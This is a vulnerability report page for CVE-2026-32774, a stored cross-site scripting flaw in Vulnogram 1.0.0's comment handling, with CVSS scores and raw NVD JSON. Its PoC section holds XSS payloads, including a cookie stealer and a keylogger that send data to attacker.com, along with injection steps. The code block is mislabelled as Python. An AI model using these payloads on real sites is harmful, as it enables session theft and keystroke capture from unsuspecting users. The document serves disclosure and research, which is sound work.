Security Vulnerability Report
中文
CVE-2026-32774 CVSS 6.4 MEDIUM

CVE-2026-32774

Published: 2026-03-16 14:19:44
Last Modified: 2026-03-20 18:26:36

Description

Vulnogram 1.0.0 contains a stored cross-site scripting vulnerability in comment hypertext handling that allows attackers to inject malicious scripts. Remote attackers can inject XSS payloads through comments to execute arbitrary JavaScript in victims' browsers.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:vulnogram:vulnogram:1.0.0:beta1:*:*:*:*:*:* - VULNERABLE
Vulnogram 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-32774 Stored XSS PoC // Target: Vulnogram 1.0.0 Comment Field // Payload 1: Basic alert demonstration const xssPayload1 = '<img src=x onerror=alert(document.domain)>'; // Payload 2: Cookie stealing const xssPayload2 = '<script>fetch("https://attacker.com/steal?cookie="+encodeURIComponent(document.cookie))</script>'; // Payload 3: Keylogger const xssPayload3 = '<script>document.addEventListener("keypress",function(e){fetch("https://attacker.com/log?key="+e.key)})</script>'; // Exploitation steps: // 1. Navigate to Vulnogram CVE disclosure page // 2. Locate the comment input field // 3. Inject any of the above XSS payloads // 4. Submit the comment // 5. When other users view the page, the XSS will execute automatically console.log('XSS Payload ready for injection');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32774", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:44.207", "lastModified": "2026-03-20T18:26:35.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnogram 1.0.0 contains a stored cross-site scripting vulnerability in comment hypertext handling that allows attackers to inject malicious scripts. Remote attackers can inject XSS payloads through comments to execute arbitrary JavaScript in victims' browsers."}, {"lang": "es", "value": "Vulnogram 1.0.0 contiene una vulnerabilidad de cross-site scripting almacenado en el manejo de hipertexto de comentarios que permite a los atacantes inyectar scripts maliciosos. Los atacantes remotos pueden inyectar cargas útiles de XSS a través de comentarios para ejecutar JavaScript arbitrario en los navegadores de las víctimas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vulnogram:vulnogram:1.0.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "A71AC629-8977-468C-BCC9-97B3C63374F5"}]}]}], "references": [{"url": "https://github.com/Vulnogram/Vulnogram", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Vulnogram/Vulnogram/security/advisories/GHSA-pg4p-2985-gvxr", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://www.vulncheck.com/advisories/vulnogram-stored-cross-site-scripting-via-comment-hypertext", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/Vulnogram/Vulnogram/commit/2f0e21b113c58124084c7b74c9768fc241126a05", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Patch"]}]}}